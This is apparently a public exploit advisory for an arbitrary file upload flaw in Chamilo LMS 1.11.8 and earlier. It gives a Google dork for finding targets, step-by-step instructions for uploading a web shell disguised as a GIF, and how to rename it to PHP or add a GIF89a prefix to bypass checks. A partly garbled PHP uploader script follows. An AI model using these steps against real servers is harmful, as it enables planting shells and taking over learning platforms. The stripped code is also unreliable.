# Exploit Title: Chamillo LMS 1.11.8 - Arbitrary File Upload
# Google Dork: "powered by chamilo"
# Date: 2018-10-05
# Exploit Author: Sohel Yousef jellyfish security team
# Software Link: https://chamilo.org/en/download/
# Version: Chamilo 1.11.8 or lower to 1.8
# Category: webapps
# 1. Description
# Any registered user can upload files and rename and change the file type to
# php5 or php7 by ckeditor module in my files section
# register here :
# http://localhost/chamilo//main/auth/inscription.php
# after registration you can view this sections
# http://localhost/chamilo/main/social/myfiles.php
# http://localhost/chamilo/main/inc/lib/elfinder/filemanager.php?&CKEditor=content&CKEditorFuncNum=0
# upload your shell in gif format and then rename the format
# if the rename function was desabled and add this GIF89;aGIF89;aGIF89;a before
PHP Test
FILE UPLOAD
';
$tgt_dir = "uploads/";
$tgt_file = $tgt_dir.basename($_FILES['fileToUpload']['name']);
echo "
TARGET FILE= ".$tgt_file;
//$filename = $_FILES['fileToUpload']['name'];
echo "
FILE NAME FROM VARIABLE:- ".$_FILES["fileToUpload"]["name"];
if(isset($_POST['submit']))
{
if(file_exists("uploads/".$_FILES["fileToUpload"]["name"]))
{ echo "
file exists, try with another name"; }
else {
echo "
STARTING UPLOAD PROCESS
";
if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"],
$tgt_file))
{ echo "
File UPLOADED:- ".$tgt_file; }
else { echo "
ERROR WHILE UPLOADING FILE
"; }
}
}
?>